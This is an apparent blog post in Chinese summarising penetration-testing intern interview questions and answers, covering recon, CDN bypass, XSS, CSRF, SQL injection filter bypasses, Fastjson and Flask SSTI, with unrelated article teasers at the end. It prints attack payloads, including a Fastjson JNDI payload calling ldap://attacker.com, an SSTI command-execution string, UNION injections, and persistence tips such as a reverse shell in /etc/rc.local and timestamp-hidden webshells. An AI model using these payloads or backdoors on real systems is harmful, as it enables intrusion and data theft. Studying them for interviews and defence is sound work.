2025年渗透测试面试题总结-字某跳动-渗透测试实习生(题目+回答)

server/2025/3/6 0:43:47/

 网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

字某跳动-渗透测试实习生

渗透流程信息收集如何处理子域名爆破中的泛解析问题绕过CDN寻找真实IPPHPINFO页面关注信息有没有了解权限维持举例一个漏洞详细描述输出到href的xss如何防御samesite防御CSRF的原理CSRF的防御json格式的CSRF如何防御浏览器解析顺序和解码顺序过滤逗号的sql注入如何绕过过滤limit后的逗号如何绕过fastjson相关漏洞Python相关的漏洞回答(flask、SSTI原理)

1. 渗透流程

  1. 情报收集
    • 被动收集:Whois查询、证书透明度日志(CT Logs)、GitHub代码泄露。
    • 主动探测:子域名爆破(使用Amass/Sublist3r)、端口扫描(Masscan/Nmap)。
  2. 漏洞分析
    • 自动化扫描:AWVS/Nessus检测常见漏洞(SQLi/XSS)。
    • 手动验证:验证误报漏洞,如逻辑漏洞(越权/支付绕过)。
  3. 攻击利用
    • 漏洞利用:通过Metasploit或定制化EXP攻击目标(如ThinkPHP RCE)。
    • 权限提升:利用内核漏洞(DirtyCow)或SUID提权(find / -perm -4000)。
  4. 权限维持
    • 植入WebShell:加密后门(如蚁剑AES加密Shell)。
    • 系统后门:Windows注册表后门、Linux cronjob定时任务。
  5. 横向移动
    • 内网渗透:利用Responder抓取Net-NTLM哈希、Pass-The-Hash攻击。
    • 数据窃取:通过DNS隧道或HTTP隐蔽信道外传数据。

2. 子域名爆破中的泛解析问题处理

泛解析问题:所有未注册子域名解析到同一IP(如*.example.com → 1.1.1.1)。
解决方案

  1. 响应指纹去重
    • 对比HTTP响应头(Server/Cookie)和页面哈希(如SimHash)。
    • 使用工具(FFUF/GoBuster)的-mc参数过滤重复状态码。
  2. 证书透明度日志
    • 通过crt.sh 查询合法子域名证书记录。
  3. 历史DNS记录
    • 使用SecurityTrails/ViewDNS查询历史A记录。
  4. 字典智能生成
    • 基于目标业务关键词生成子域(如dev/api/test)。

3. 绕过CDN寻找真实IP的六种方法

  1. DNS历史记录:通过DNSDB查询目标域名历史解析IP。
  2. 全球Ping测试:多地服务器(AWS EC2/DigitalOcean)执行pingcurl
  3. SSL证书关联:Censys搜索相同证书的IP(parsed.names:example.com )。
  4. 敏感子域名:访问mail.example.cominternal.example.com 可能直连真实IP。
  5. 邮件服务器追踪:注册目标服务触发邮件,解析邮件头Received字段。
  6. SSRF漏洞利用:通过目标服务器的SSRF漏洞获取内网IP。

4. PHPINFO页面关键信息审计

  1. 敏感配置项
    • allow_url_fopen=On:允许远程文件包含(RFI)。
    • disable_functions:未禁用system/shell_exec等危险函数。
  2. 环境变量泄露
    • $_SERVER['DB_HOST']$_ENV['API_KEY']
  3. 临时文件路径
    • upload_tmp_dir可能暴露可写目录路径。
  4. 扩展模块风险
    • 启用imap扩展可能导致CVE-2018-19518漏洞。

5. 权限维持技术详解

  1. WebShell持久化
    • 隐藏文件名:.config.php + 修改文件时间戳(touch -t)。
  2. 系统级后门
    • Windows:注册表键HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon添加启动脚本。
    • Linux:/etc/rc.local 添加反向Shell命令。
  3. 内存驻留马
    • Java内存马:通过JSP注入Filter型内存Shell。
    • PHP内存马:利用php-fpm未授权访问注入。

6. 漏洞示例:SQL注入(以MySQL为例)

漏洞原理:未过滤用户输入的id参数直接拼接SQL语句。
利用Payload

/product?id=1' UNION SELECT 1,@@version,3-- -

攻击效果:泄露数据库版本、用户权限等敏感信息。
修复方案

  • 使用预编译语句(PDO/MyBatis)。
  • 输入过滤:正则匹配/[^0-9]/限制为数字。

7. 输出到href的XSS防御

漏洞示例:html

<a href="{{ user_input }}">Link</a> <!-- 用户输入为javascript:alert(1) -->

防御措施

  1. 协议白名单:仅允许http:///https:///mailto:
  2. URL编码:对href值进行HTML实体编码(如&&amp;)。
  3. CSP策略:设置Content-Security-Policy: default-src 'self'
  4. 框架安全:Vue/React自动转义href中的动态内容。

8. SameSite防御CSRF原理

  • SameSite=Strict:完全禁止跨站请求携带Cookie(如银行转账)。
  • SameSite=Lax:允许GET请求携带Cookie(适用于普通站点)。
  • SameSite=None:必须与Secure属性共用(仅限HTTPS)。

9. CSRF防御方案

  1. Token验证:表单中嵌入随机Token(如Django的{% csrf_token %})。
  2. 双重Cookie:请求头中携带Cookie哈希值(如X-CSRF-Token: hash(cookie))。
  3. Referer检查:验证请求来源域名是否在白名单内。

10. JSON格式CSRF防御

  1. Content-Type校验:拒绝非application/json请求。
  2. Token嵌入JSON:json
    { "data": "test", "csrf_token": "random_value" }
  3. 禁用CORS:设置Access-Control-Allow-Origin为特定域名。

11. 浏览器解析与解码顺序

  1. HTML解析优先
    • 解析标签和实体(如&lt;<)。
  2. JavaScript执行
    • 处理Unicode转义(如\u003c<)。
  3. URL解码
    • 转换%20为空格。
      示例:html
<a href="javascript:alert(1%26%23x29;)"></a> 

解码顺序:%26&&#x29;) → 最终执行alert(1)


12. 过滤逗号的SQL注入绕过

场景SELECT 1,2,3被拦截。
绕过方法

  1. JOIN语法:sql
    UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
  2. LIMIT OFFSET:sql
    UNION SELECT 1 FROM users LIMIT 1 OFFSET 1 

13. 过滤LIMIT逗号的绕过

场景LIMIT 0,1被拦截。
绕过方法

  1. SQL Server语法:sql
    SELECT TOP 1 * FROM users 
  2. 变量赋值(MySQL):sql
    SELECT * FROM users LIMIT 1 OFFSET 0 

14. Fastjson漏洞解析

漏洞根源:反序列化时自动调用getter/setter方法(如CVE-2022-25845)。
利用条件:目标开启autoType功能。
Payload示例:json

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp" } 

修复方案:升级到Fastjson 1.2.83+,关闭autoType


15. Python漏洞:Flask SSTI

漏洞原理:未过滤用户输入直接渲染模板。
示例代码:python

@app.route('/hello/<name>') def hello(name): return render_template_string(f'Hello {name}!') 

攻击Payload:python

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

防御措施

  1. 使用安全模板引擎(Jinja2自动转义)。
  2. 输入过滤:禁止用户输入{{}}等特殊字符。

http://www.ppmy.cn/server/172734.html

相关文章

2.反向传播机制简述——大模型开发深度学习理论基础

在深度学习开发中&#xff0c;反向传播机制是训练神经网络不可或缺的一部分。它让模型能够通过不断调整权重&#xff0c;从而将预测误差最小化。本文将从实际开发角度出发&#xff0c;简要介绍反向传播机制的核心概念、基本流程、在现代网络中的扩展&#xff0c;以及如何利用自…

牙齿缺陷分割数据集labelme格式2495张4类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;2495 标注数量(json文件个数)&#xff1a;2495 标注类别数&#xff1a;4 标注类别名称:["Tooth","Caries","C…

未来该如何选择编程语言?

随着技术的飞速发展&#xff0c;编程语言的选择变得越来越重要。无论是初学者还是资深开发者&#xff0c;选择一门适合未来发展的编程语言都至关重要。以下是一些关键因素和建议&#xff0c;帮助您做出明智的选择。 --- #### 1. **明确目标和需求** - **职业方向**&#x…

58、深度学习-自学之路-自己搭建深度学习框架-19、RNN神经网络梯度消失和爆炸的原因(从公式推导方向来说明),通过RNN的前向传播和反向传播公式来理解。

一、RNN神经网络的前向传播图如下&#xff1a; 时间步 t1: x₁ → (W_x) → [RNN Cell] → h₁ → (W_y) → y₁ ↑ (W_h) h₀ (初始隐藏状态) 时间步 t2: x₂ → (W_x) → [RNN Cell] → h₂ → (W_y) → y₂ ↑ (W_h) h₁ 时间…

android 文本控件显示滑动条并自动滑动到最底部

文本框滑动需要增加控件 设置属性显示滑动条垂直滑动 显示滑动条 自动滚动到最后一行&#xff1a; private ScrollView mscrollView; mOutput.setMovementMethod(ScrollingMovementMethod.getInstance()); mscrollView (ScrollView) findViewById(R.id.scrollview); mscrol…

网络安全月度报告

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 3.1.1网络安全现状及安全挑战 网络的出现给人们的工作和生活带来了极大的便利&#xff0c;但同时也带来了极大的安全风险。在信息传输和交换时&#xff0c;需要对…

使用DeepSeek实现自动化编程:类的自动生成

目录 简述 1. 通过注释生成C类 1.1 模糊生成 1.2 把控细节&#xff0c;让结果更精准 1.3 让DeepSeek自动生成代码 2. 验证DeepSeek自动生成的代码 2.1 安装SQLite命令行工具 2.2 验证DeepSeek代码 3. 测试代码下载 简述 在现代软件开发中&#xff0c;自动化编程工具如…

2024年中国城市统计年鉴(PDF+excel)

2024年中国城市统计年鉴&#xff08;PDFexcel&#xff09; 说明&#xff1a;包括地级县级市 格式&#xff1a;PDFEXCEL 《中国城市统计年鉴》是一部全面反映中国城市发展状况的官方统计出版物&#xff0c;包括各级城市的详细统计数据。这部年鉴自1985年开始出版&#xff0c;…